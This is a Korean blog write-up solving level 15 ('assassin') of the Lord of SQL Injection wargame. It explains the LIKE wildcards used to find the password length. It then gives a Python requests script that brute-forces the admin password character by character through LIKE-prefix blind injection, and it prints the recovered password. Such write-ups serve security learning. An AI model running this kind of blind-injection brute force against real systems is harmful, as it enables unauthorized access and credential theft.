쉽고 깔끔하게
[LOS ; Lord of SQL Injection] 15번 assassin 문제풀이 본문
728x90
반응형
문제
https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php
풀이
- preg_match($pattern, $subject, [, $matches]) : 문자열 안에서 특정한 정규식 패턴의 존재 여부를 찾는데 유용한 함수
- $pattern : 문자열로 검색할 패턴
- $subject : 입력 문자열
- [$matches] : 사용 시 패턴에 매치되는 내용을 배열에 담아둠
따라서 얻을 수 있는 정보로는 pw의 입력 값 필터링 규칙으로 다음과 같은 정보를 필터링한다는 것이다.
1) '
pw가 like 구문을 통해 입력받고 있는 것을 볼 수 있다.
※ LIKE 연산자의 대표 문자
대표 문자 | % | _ | # |
의미 | 모든 문자를 대표함 | 문자 하나를 대표함 | 숫자 하나를 대표함 |
PW를 알아내기 위해 가장 먼저 LIKE 연산자의 대표 문자를 이용하여 pw의 길이를 알아보았다.
문자 하나를 대표하는 문자 _를 이용하여 pw=________로 _를 8개 입력했을 때 'Hello guest'가 출력된 것을 보아 pw의 길이가 8이라는 것을 알 수 있다.
위에서 알아낸 것들을 바탕으로 다음과 같이 파이썬 코드를 통해 pw를 알아내고자 한다.
import requests
password = ''
for admin_len in range(8): ##pw의 길이 8만큼 수행
for admin_pass in range(ord('0'), ord('z')): #숫자 0에서 부터 문자 z까지 대입
URL = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
query = {'pw' : str(password) + chr(admin_pass) + '%'}
cookies = {'PHPSESSID' : '쿠키 정보'} #쿠키 정보에 각자의 쿠키 값을 대입
res = requests.get(URL, params = query, cookies = cookies)
if('Hello admin' in res.text or 'Hello guest' in res.text): #만약에 res.text에 Hello admin이 뜨면 pw 출력
password = password + chr(admin_pass)
print('Password detected (' + str(admin_len + 1) + ' words): ' + password)
break
파이썬 코드를 통해 알아낸 pw=902EFD10을 대입하면 문제를 해결할 수 있다.
728x90
반응형
'WebHacking > LOS' 카테고리의 다른 글
[LOS ; Lord of SQL Injection] 17번 zombie_assasin 문제풀이 (0) | 2022.04.05 |
---|---|
[LOS ; Lord of SQL Injection] 16번 succubus 문제풀이 (0) | 2022.04.01 |
[LOS ; Lord of SQL Injection] 14번 giant 문제풀이 (0) | 2022.03.30 |
[LOS ; Lord of SQL Injection] 13번 bugbear 문제풀이 (0) | 2022.03.28 |
[LOS ; Lord of SQL Injection] 12번 darknight 문제풀이 (0) | 2022.03.24 |